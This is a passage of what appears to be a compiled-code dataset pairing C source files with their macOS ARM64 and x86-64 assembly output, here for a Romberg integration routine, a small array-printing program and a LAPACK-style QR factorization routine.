ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_11
b LBB0_10
LBB0_10:
bl ___stack_chk_fail
LBB0_11:
ldr d0, [sp] ; 8-byte Folded Reload
add sp, sp, #736
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Too many steps in routine qromb"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function qromb
LCPI0_0:
.quad 0x3ff0000000000000 ## double 1
LCPI0_1:
.quad 0x3eb0c6f7a0b5ed8d ## double 9.9999999999999995E-7
LCPI0_3:
.quad 0x3fd0000000000000 ## double 0.25
.section __TEXT,__literal16,16byte_literals
.p2align 4
LCPI0_2:
.quad 0x7fffffffffffffff ## double NaN
.quad 0x7fffffffffffffff ## double NaN
.section __TEXT,__text,regular,pure_instructions
.globl _qromb
.p2align 4, 0x90
_qromb: ## @qromb
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $736, %rsp ## imm = 0x2E0
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -688(%rbp)
movsd %xmm0, -696(%rbp)
movsd %xmm1, -704(%rbp)
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -664(%rbp)
movl $1, -724(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
cmpl $40, -724(%rbp)
jg LBB0_8
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movq -688(%rbp), %rdi
movsd -696(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd -704(%rbp), %xmm1 ## xmm1 = mem[0],zero
movl -724(%rbp), %esi
callq _trapzd
movslq -724(%rbp), %rax
movsd %xmm0, -336(%rbp,%rax,8)
cmpl $5, -724(%rbp)
jl LBB0_6
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -724(%rbp), %eax
subl $5, %eax
cltq
leaq -672(%rbp), %rdi
shlq $3, %rax
addq %rax, %rdi
movl -724(%rbp), %eax
subl $5, %eax
cltq
leaq -336(%rbp), %rsi
shlq $3, %rax
addq %rax, %rsi
movl $5, %edx
xorps %xmm0, %xmm0
leaq -712(%rbp), %rcx
leaq -720(%rbp), %r8
callq _polint
movsd -720(%rbp), %xmm1 ## xmm1 = mem[0],zero
movaps LCPI0_2(%rip), %xmm0 ## xmm0 = [NaN,NaN]
pand %xmm0, %xmm1
movsd -712(%rbp), %xmm2 ## xmm2 = mem[0],zero
movaps LCPI0_2(%rip), %xmm0 ## xmm0 = [NaN,NaN]
pand %xmm0, %xmm2
movsd LCPI0_1(%rip), %xmm0 ## xmm0 = mem[0],zero
mulsd %xmm2, %xmm0
ucomisd %xmm1, %xmm0
jb LBB0_5
## %bb.4:
movsd -712(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -680(%rbp)
jmp LBB0_9
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_6
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
movslq -724(%rbp), %rax
movsd LCPI0_3(%rip), %xmm0 ## xmm0 = mem[0],zero
mulsd -672(%rbp,%rax,8), %xmm0
movl -724(%rbp), %eax
addl $1, %eax
cltq
movsd %xmm0, -672(%rbp,%rax,8)
## %bb.7: ## in Loop: Header=BB0_1 Depth=1
movl -724(%rbp), %eax
addl $1, %eax
movl %eax, -724(%rbp)
jmp LBB0_1
LBB0_8:
leaq L_.str(%rip), %rdi
callq _nrerror
xorps %xmm0, %xmm0
movsd %xmm0, -680(%rbp)
LBB0_9:
movsd -680(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -736(%rbp) ## 8-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_11
## %bb.10:
movsd -736(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
addq $736, %rsp ## imm = 0x2E0
popq %rbp
retq
LBB0_11:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Too many steps in routine qromb"
.subsections_via_symbols
| the_stack_data/15256.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #12]
adrp x8, l___const.main.array@PAGE
add x8, x8, l___const.main.array@PAGEOFF
ldr q0, [x8]
str q0, [sp, #16]
ldr w8, [x8, #16]
str w8, [sp, #32]
ldr w9, [sp, #16]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr w9, [sp, #20]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldr w9, [sp, #24]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr w9, [sp, #28]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldr w9, [sp, #32]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
mov x9, sp
mov x8, #20
str x8, [x9]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
mov x9, sp
mov x8, #5
str x8, [x9]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
bl ___stack_chk_fail
LBB0_2:
mov w0, #0
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__const
.p2align 2 ; @__const.main.array
l___const.main.array:
.long 3 ; 0x3
.long 24 ; 0x18
.long 12 ; 0xc
.long 5 ; 0x5
.long 76 ; 0x4c
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Valor de array[0] = %d\n"
l_.str.1: ; @.str.1
.asciz "Valor de array[1] = %d\n"
l_.str.2: ; @.str.2
.asciz "Valor de array[2] = %d\n"
l_.str.3: ; @.str.3
.asciz "Valor de array[3] = %d\n"
l_.str.4: ; @.str.4
.asciz "Valor de array[4] = %d\n"
l_.str.5: ; @.str.5
.asciz "Tamanio del arreglo (en bytes) = %ld\n"
l_.str.6: ; @.str.6
.asciz "Tamanio del arreglo (en cantidad de elementos) = %ld\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -36(%rbp)
movq l___const.main.array(%rip), %rax
movq %rax, -32(%rbp)
movq l___const.main.array+8(%rip), %rax
movq %rax, -24(%rbp)
movl l___const.main.array+16(%rip), %eax
movl %eax, -16(%rbp)
movl -32(%rbp), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl -28(%rbp), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movl -24(%rbp), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movl -20(%rbp), %esi
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movl -16(%rbp), %esi
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.5(%rip), %rdi
movl $20, %esi
movb $0, %al
callq _printf
leaq L_.str.6(%rip), %rdi
movl $5, %esi
movb $0, %al
callq _printf
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_2
## %bb.1:
xorl %eax, %eax
addq $48, %rsp
popq %rbp
retq
LBB0_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__const
.p2align 4 ## @__const.main.array
l___const.main.array:
.long 3 ## 0x3
.long 24 ## 0x18
.long 12 ## 0xc
.long 5 ## 0x5
.long 76 ## 0x4c
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Valor de array[0] = %d\n"
L_.str.1: ## @.str.1
.asciz "Valor de array[1] = %d\n"
L_.str.2: ## @.str.2
.asciz "Valor de array[2] = %d\n"
L_.str.3: ## @.str.3
.asciz "Valor de array[3] = %d\n"
L_.str.4: ## @.str.4
.asciz "Valor de array[4] = %d\n"
L_.str.5: ## @.str.5
.asciz "Tamanio del arreglo (en bytes) = %ld\n"
L_.str.6: ## @.str.6
.asciz "Tamanio del arreglo (en cantidad de elementos) = %ld\n"
.subsections_via_symbols
| the_stack_data/48574060.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _dlatsqr_ ; -- Begin function dlatsqr_
.p2align 2
_dlatsqr_: ; @dlatsqr_
.cfi_startproc
; %bb.0:
sub sp, sp, #224
.cfi_def_cfa_offset 224
stp x29, x30, [sp, #208] ; 16-byte Folded Spill
add x29, sp, #208
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
ldr x10, [x29, #16]
ldr x9, [x29, #24]
ldr x8, [x29, #32]
stur x0, [x29, #-16]
stur x1, [x29, #-24]
stur x2, [x29, #-32]
stur x3, [x29, #-40]
stur x4, [x29, #-48]
stur x5, [x29, #-56]
stur x6, [x29, #-64]
stur x7, [x29, #-72]
stur x10, [x29, #-80]
stur x9, [x29, #-88]
stur x8, [x29, #-96]
ldur x8, [x29, #-56]
ldr w8, [x8]
stur w8, [x29, #-100]
ldur w8, [x29, #-100]
mov x9, #0
lsr w8, w8, #0
add w8, w8, #1
str w8, [sp, #104]
ldrsw x10, [sp, #104]
ldur x8, [x29, #-48]
subs x10, x9, x10
add x8, x8, x10, lsl #3
stur x8, [x29, #-48]
ldur x8, [x29, #-72]
ldr w8, [x8]
str w8, [sp, #100]
ldr w8, [sp, #100]
lsr w8, w8, #0
add w8, w8, #1
str w8, [sp, #96]
ldrsw x10, [sp, #96]
ldur x8, [x29, #-64]
subs x9, x9, x10
add x8, x8, x9, lsl #3
stur x8, [x29, #-64]
ldur x8, [x29, #-80]
subs x8, x8, #8
stur x8, [x29, #-80]
ldur x8, [x29, #-96]
str wzr, [x8]
ldur x8, [x29, #-88]
ldr w8, [x8]
adds w8, w8, #1
cset w8, eq
and w8, w8, #0x1
str w8, [sp, #68]
ldur x8, [x29, #-16]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldur x9, [x29, #-96]
mov w8, #-1
str w8, [x9]
b LBB0_27
LBB0_2:
ldur x8, [x29, #-24]
ldr w8, [x8]
subs w8, w8, #0
cset w8, lt
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldur x8, [x29, #-16]
ldr w8, [x8]
ldur x9, [x29, #-24]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4:
ldur x9, [x29, #-96]
mov w8, #-2
str w8, [x9]
b LBB0_26
LBB0_5:
ldur x8, [x29, #-32]
ldr w8, [x8]
ldur x9, [x29, #-24]
ldr w9, [x9]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6:
ldur x9, [x29, #-96]
mov w8, #-3
str w8, [x9]
b LBB0_25
LBB0_7:
ldur x8, [x29, #-40]
ldr w8, [x8]
subs w8, w8, #1
cset w8, lt
tbnz w8, #0, LBB0_10
b LBB0_8
LBB0_8:
ldur x8, [x29, #-40]
ldr w8, [x8]
ldur x9, [x29, #-24]
ldr w9, [x9]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB0_11
b LBB0_9
LBB0_9:
ldur x8, [x29, #-24]
ldr w8, [x8]
subs w8, w8, #0
cset w8, le
tbnz w8, #0, LBB0_11
b LBB0_10
LBB0_10:
ldur x9, [x29, #-96]
mov w8, #-4
str w8, [x9]
b LBB0_24
LBB0_11:
ldur x8, [x29, #-56]
ldr w8, [x8]
str w8, [sp, #60] ; 4-byte Folded Spill
ldur x8, [x29, #-16]
ldr w9, [x8]
mov w8, #1
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB0_13
b LBB0_12
LBB0_12:
mov w8, #1
str w8, [sp, #56] ; 4-byte Folded Spill
b LBB0_14
LBB0_13:
ldur x8, [x29, #-16]
ldr w8, [x8]
str w8, [sp, #56] ; 4-byte Folded Spill
b LBB0_14
LBB0_14:
ldr w8, [sp, #60] ; 4-byte Folded Reload
ldr w9, [sp, #56] ; 4-byte Folded Reload
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_16
b LBB0_15
LBB0_15:
ldur x9, [x29, #-96]
mov w8, #-5
str w8, [x9]
b LBB0_23
LBB0_16:
ldur x8, [x29, #-72]
ldr w8, [x8]
ldur x9, [x29, #-40]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_18
b LBB0_17
LBB0_17:
ldur x9, [x29, #-96]
mov w8, #-8
str w8, [x9]
b LBB0_22
LBB0_18:
ldur x8, [x29, #-88]
ldr w8, [x8]
ldur x9, [x29, #-24]
ldr w9, [x9]
ldur x10, [x29, #-40]
ldr w10, [x10]
mul w9, w9, w10
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_21
b LBB0_19
LBB0_19:
ldr w8, [sp, #68]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_21
b LBB0_20
LBB0_20:
ldur x9, [x29, #-96]
mov w8, #-10
str w8, [x9]
b LBB0_21
LBB0_21:
b LBB0_22
LBB0_22:
b LBB0_23
LBB0_23:
b LBB0_24
LBB0_24:
b LBB0_25
LBB0_25:
b LBB0_26
LBB0_26:
b LBB0_27
LBB0_27:
ldur x8, [x29, #-96]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_29
b LBB0_28
LBB0_28:
ldur x8, [x29, #-40]
ldr w8, [x8]
ldur x9, [x29, #-24]
ldr w9, [x9]
mul w8, w8, w9
scvtf d0, w8
ldur x8, [x29, #-80]
str d0, [x8, #8]
b LBB0_29
LBB0_29:
ldur x8, [x29, #-96]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_31
b LBB0_30
LBB0_30:
ldur x8, [x29, #-96]
ldr w9, [x8]
mov w8, #0
subs w8, w8, w9
add x1, sp, #92
str w8, [sp, #92]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
mov w2, #7
bl _xerbla_
stur wzr, [x29, #-4]
b LBB0_52
LBB0_31:
ldr w8, [sp, #68]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_33
b LBB0_32
LBB0_32:
stur wzr, [x29, #-4]
b LBB0_52
LBB0_33:
b LBB0_34
LBB0_34:
ldur x8, [x29, #-16]
ldr w8, [x8]
ldur x9, [x29, #-24]
ldr w9, [x9]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_36
b LBB0_35
LBB0_35:
ldur x8, [x29, #-16]
ldr w8, [x8]
str w8, [sp, #52] ; 4-byte Folded Spill
b LBB0_37
LBB0_36:
ldur x8, [x29, #-24]
ldr w8, [x8]
str w8, [sp, #52] ; 4-byte Folded Spill
b LBB0_37
LBB0_37:
ldr w8, [sp, #52] ; 4-byte Folded Reload
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_39
b LBB0_38
LBB0_38:
stur wzr, [x29, #-4]
b LBB0_52
LBB0_39:
ldur x8, [x29, #-32]
ldr w8, [x8]
ldur x9, [x29, #-24]
ldr w9, [x9]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB0_41
b LBB0_40
LBB0_40:
ldur x8, [x29, #-32]
ldr w8, [x8]
ldur x9, [x29, #-16]
ldr w9, [x9]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB0_42
b LBB0_41
LBB0_41:
ldur x0, [x29, #-16]
ldur x1, [x29, #-24]
ldur x2, [x29, #-40]
ldur x8, [x29, #-48]
ldrsw x9, [sp, #104]
add x3, x8, x9, lsl #3
ldur x4, [x29, #-56]
ldur x8, [x29, #-64]
ldrsw x9, [sp, #96]
add x5, x8, x9, lsl #3
ldur x6, [x29, #-72]
ldur x8, [x29, #-80]
add x7, x8, #8
ldur x8, [x29, #-96]
mov x9, sp
str x8, [x9]
bl _dgeqrt_
stur wzr, [x29, #-4]
b LBB0_52
LBB0_42:
ldur x8, [x29, #-16]
ldr w8, [x8]
ldur x9, [x29, #-24]
ldr w9, [x9]
subs w8, w8, w9
ldur x9, [x29, #-32]
ldr w9, [x9]
ldur x10, [x29, #-24]
ldr w10, [x10]
subs w10, w9, w10
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
str w8, [sp, #72]
ldur x8, [x29, #-16]
ldr w8, [x8]
ldr w9, [sp, #72]
subs w8, w8, w9
mov w9, #1
str w9, [sp, #48] ; 4-byte Folded Spill
add w8, w8, #1
str w8, [sp, #76]
ldur x0, [x29, #-32]
ldur x1, [x29, #-24]
ldur x2, [x29, #-40]
ldur x8, [x29, #-48]
ldur w9, [x29, #-100]
add w9, w9, #1
add x3, x8, w9, sxtw #3
ldur x4, [x29, #-56]
ldur x8, [x29, #-64]
ldrsw x9, [sp, #96]
add x5, x8, x9, lsl #3
ldur x6, [x29, #-72]
ldur x8, [x29, #-80]
add x7, x8, #8
ldur x8, [x29, #-96]
mov x9, sp
str x8, [x9]
bl _dgeqrt_
ldr w8, [sp, #48] ; 4-byte Folded Reload
str w8, [sp, #64]
ldr w8, [sp, #76]
ldur x9, [x29, #-32]
ldr w9, [x9]
subs w8, w8, w9
ldur x9, [x29, #-24]
ldr w9, [x9]
add w8, w8, w9
str w8, [sp, #92]
ldur x8, [x29, #-32]
ldr w8, [x8]
ldur x9, [x29, #-24]
ldr w9, [x9]
subs w8, w8, w9
str w8, [sp, #88]
ldur x8, [x29, #-32]
ldr w8, [x8]
add w8, w8, #1
str w8, [sp, #80]
b LBB0_43
LBB0_43: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #88]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB0_45
b LBB0_44
LBB0_44: ; in Loop: Header=BB0_43 Depth=1
ldr w8, [sp, #80]
ldr w9, [sp, #92]
subs w8, w8, w9
cset w8, ge
and w8, w8, #0x1
str w8, [sp, #44] ; 4-byte Folded Spill
b LBB0_46
LBB0_45: ; in Loop: Header=BB0_43 Depth=1
ldr w8, [sp, #80]
ldr w9, [sp, #92]
subs w8, w8, w9
cset w8, le
and w8, w8, #0x1
str w8, [sp, #44] ; 4-byte Folded Spill
b LBB0_46
LBB0_46: ; in Loop: Header=BB0_43 Depth=1
ldr w8, [sp, #44] ; 4-byte Folded Reload
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_49
b LBB0_47
LBB0_47: ; in Loop: Header=BB0_43 Depth=1
ldur x8, [x29, #-32]
ldr w8, [x8]
ldur x9, [x29, #-24]
ldr w9, [x9]
subs w8, w8, w9
add x0, sp, #84
str w8, [sp, #84]
ldur x1, [x29, #-24]
ldur x3, [x29, #-40]
ldur x8, [x29, #-48]
ldur w9, [x29, #-100]
add w9, w9, #1
add x4, x8, w9, sxtw #3
ldur x5, [x29, #-56]
ldur x8, [x29, #-48]
ldr w9, [sp, #80]
ldur w10, [x29, #-100]
add w9, w9, w10
add x6, x8, w9, sxtw #3
ldur x7, [x29, #-56]
ldur x8, [x29, #-64]
ldr w9, [sp, #64]
ldur x10, [x29, #-24]
ldr w10, [x10]
mul w9, w9, w10
add w9, w9, #1
ldr w10, [sp, #100]
mul w9, w9, w10
add w9, w9, #1
add x12, x8, w9, sxtw #3
ldur x11, [x29, #-72]
ldur x8, [x29, #-80]
add x10, x8, #8
ldur x8, [x29, #-96]
mov x9, sp
str x12, [x9]
str x11, [x9, #8]
str x10, [x9, #16]
str x8, [x9, #24]
adrp x2, _c__0@PAGE
add x2, x2, _c__0@PAGEOFF
bl _dtpqrt_
ldr w8, [sp, #64]
add w8, w8, #1
str w8, [sp, #64]
b LBB0_48
LBB0_48: ; in Loop: Header=BB0_43 Depth=1
ldr w9, [sp, #88]
ldr w8, [sp, #80]
add w8, w8, w9
str w8, [sp, #80]
b LBB0_43
LBB0_49:
ldr w8, [sp, #76]
ldur x9, [x29, #-16]
ldr w9, [x9]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_51
b LBB0_50
LBB0_50:
ldur x1, [x29, #-24]
ldur x3, [x29, #-40]
ldur x8, [x29, #-48]
ldur w9, [x29, #-100]
add w9, w9, #1
add x4, x8, w9, sxtw #3
ldur x5, [x29, #-56]
ldur x8, [x29, #-48]
ldr w9, [sp, #76]
ldur w10, [x29, #-100]
add w9, w9, w10
add x6, x8, w9, sxtw #3
ldur x7, [x29, #-56]
ldur x8, [x29, #-64]
ldr w9, [sp, #64]
ldur x10, [x29, #-24]
ldr w10, [x10]
mul w9, w9, w10
add w9, w9, #1
ldr w10, [sp, #100]
mul w9, w9, w10
add w9, w9, #1
add x12, x8, w9, sxtw #3
ldur x11, [x29, #-72]
ldur x8, [x29, #-80]
add x10, x8, #8
ldur x8, [x29, #-96]
mov x9, sp
str x12, [x9]
str x11, [x9, #8]
str x10, [x9, #16]
str x8, [x9, #24]
add x0, sp, #72
adrp x2, _c__0@PAGE
add x2, x2, _c__0@PAGEOFF
bl _dtpqrt_
b LBB0_51
LBB0_51:
ldur x8, [x29, #-24]
ldr w8, [x8]
ldur x9, [x29, #-40]
ldr w9, [x9]
mul w8, w8, w9
scvtf d0, w8
ldur x8, [x29, #-80]
str d0, [x8, #8]
stur wzr, [x29, #-4]
b LBB0_52
LBB0_52:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #208] ; 16-byte Folded Reload
add sp, sp, #224
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "DLATSQR"
.zerofill __DATA,__bss,_c__0,4,2 ; @c__0
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _dlatsqr_ ## -- Begin function dlatsqr_
.p2align 4, 0x90
_dlatsqr_: ## @dlatsqr_
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
subq $168, %rsp
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq 48(%rbp), %rax
movq 40(%rbp), %rax
movq 32(%rbp), %rax
movq 24(%rbp), %rax
movq 16(%rbp), %rax
movq %rdi, -40(%rbp)
movq %rsi, -48(%rbp)
movq %rdx, -56(%rbp)
movq %rcx, -64(%rbp)
movq %r8, -72(%rbp)
movq %r9, -80(%rbp)
movq -80(%rbp), %rax
movl (%rax), %eax
movl %eax, -84(%rbp)
movl -84(%rbp), %eax
shll $0, %eax
addl $1, %eax
movl %eax, -88(%rbp)
movl -88(%rbp), %ecx
movq -72(%rbp), %rax
movslq %ecx, %rdx
xorl %ecx, %ecx
## kill: def $rcx killed $ecx
subq %rdx, %rcx
shlq $3, %rcx
addq %rcx, %rax
movq %rax, -72(%rbp)
movq 24(%rbp), %rax
movl (%rax), %eax
movl %eax, -92(%rbp)
movl -92(%rbp), %eax
shll $0, %eax
addl $1, %eax
movl %eax, -96(%rbp)
movl -96(%rbp), %ecx
movq 16(%rbp), %rax
movslq %ecx, %rdx
xorl %ecx, %ecx
## kill: def $rcx killed $ecx
subq %rdx, %rcx
shlq $3, %rcx
addq %rcx, %rax
movq %rax, 16(%rbp)
movq 32(%rbp), %rax
addq $-8, %rax
movq %rax, 32(%rbp)
movq 48(%rbp), %rax
movl $0, (%rax)
movq 40(%rbp), %rax
cmpl $-1, (%rax)
sete %al
andb $1, %al
movzbl %al, %eax
movl %eax, -124(%rbp)
movq -40(%rbp), %rax
cmpl $0, (%rax)
jge LBB0_2
## %bb.1:
movq 48(%rbp), %rax
movl $-1, (%rax)
jmp LBB0_27
LBB0_2:
movq -48(%rbp), %rax
cmpl $0, (%rax)
jl LBB0_4
## %bb.3:
movq -40(%rbp), %rax
movl (%rax), %eax
movq -48(%rbp), %rcx
cmpl (%rcx), %eax
jge LBB0_5
LBB0_4:
movq 48(%rbp), %rax
movl $-2, (%rax)
jmp LBB0_26
LBB0_5:
movq -56(%rbp), %rax
movl (%rax), %eax
movq -48(%rbp), %rcx
cmpl (%rcx), %eax
jg LBB0_7
## %bb.6:
movq 48(%rbp), %rax
movl $-3, (%rax)
jmp LBB0_25
LBB0_7:
movq -64(%rbp), %rax
cmpl $1, (%rax)
jl LBB0_10
## %bb.8:
movq -64(%rbp), %rax
movl (%rax), %eax
movq -48(%rbp), %rcx
cmpl (%rcx), %eax
jle LBB0_11
## %bb.9:
movq -48(%rbp), %rax
cmpl $0, (%rax)
jle LBB0_11
LBB0_10:
movq 48(%rbp), %rax
movl $-4, (%rax)
jmp LBB0_24
LBB0_11:
movq -80(%rbp), %rax
movl (%rax), %eax
movl %eax, -132(%rbp) ## 4-byte Spill
movq -40(%rbp), %rcx
movl $1, %eax
cmpl (%rcx), %eax
jl LBB0_13
## %bb.12:
movl $1, %eax
movl %eax, -136(%rbp) ## 4-byte Spill
jmp LBB0_14
LBB0_13:
movq -40(%rbp), %rax
movl (%rax), %eax
movl %eax, -136(%rbp) ## 4-byte Spill
LBB0_14:
movl -132(%rbp), %eax ## 4-byte Reload
movl -136(%rbp), %ecx ## 4-byte Reload
cmpl %ecx, %eax
jge LBB0_16
## %bb.15:
movq 48(%rbp), %rax
movl $-5, (%rax)
jmp LBB0_23
LBB0_16:
movq 24(%rbp), %rax
movl (%rax), %eax
movq -64(%rbp), %rcx
cmpl (%rcx), %eax
jge LBB0_18
## %bb.17:
movq 48(%rbp), %rax
movl $-8, (%rax)
jmp LBB0_22
LBB0_18:
movq 40(%rbp), %rax
movl (%rax), %eax
movq -48(%rbp), %rcx
movl (%rcx), %ecx
movq -64(%rbp), %rdx
imull (%rdx), %ecx
cmpl %ecx, %eax
jge LBB0_21
## %bb.19:
cmpl $0, -124(%rbp)
jne LBB0_21
## %bb.20:
movq 48(%rbp), %rax
movl $-10, (%rax)
LBB0_21:
jmp LBB0_22
LBB0_22:
jmp LBB0_23
LBB0_23:
jmp LBB0_24
LBB0_24:
jmp LBB0_25
LBB0_25:
jmp LBB0_26
LBB0_26:
jmp LBB0_27
LBB0_27:
movq 48(%rbp), %rax
cmpl $0, (%rax)
jne LBB0_29
## %bb.28:
movq -64(%rbp), %rax
movl (%rax), %eax
movq -48(%rbp), %rcx
imull (%rcx), %eax
cvtsi2sd %eax, %xmm0
movq 32(%rbp), %rax
movsd %xmm0, 8(%rax)
LBB0_29:
movq 48(%rbp), %rax
cmpl $0, (%rax)
je LBB0_31
## %bb.30:
movq 48(%rbp), %rcx
xorl %eax, %eax
subl (%rcx), %eax
movl %eax, -100(%rbp)
leaq L_.str(%rip), %rdi
leaq -100(%rbp), %rsi
movl $7, %edx
callq _xerbla_
movl $0, -28(%rbp)
jmp LBB0_52
LBB0_31:
cmpl $0, -124(%rbp)
je LBB0_33
## %bb.32:
movl $0, -28(%rbp)
jmp LBB0_52
LBB0_33:
jmp LBB0_34
LBB0_34:
movq -40(%rbp), %rax
movl (%rax), %eax
movq -48(%rbp), %rcx
cmpl (%rcx), %eax
jg LBB0_36
## %bb.35:
movq -40(%rbp), %rax
movl (%rax), %eax
movl %eax, -140(%rbp) ## 4-byte Spill
jmp LBB0_37
LBB0_36:
movq -48(%rbp), %rax
movl (%rax), %eax
movl %eax, -140(%rbp) ## 4-byte Spill
LBB0_37:
movl -140(%rbp), %eax ## 4-byte Reload
cmpl $0, %eax
jne LBB0_39
## %bb.38:
movl $0, -28(%rbp)
jmp LBB0_52
LBB0_39:
movq -56(%rbp), %rax
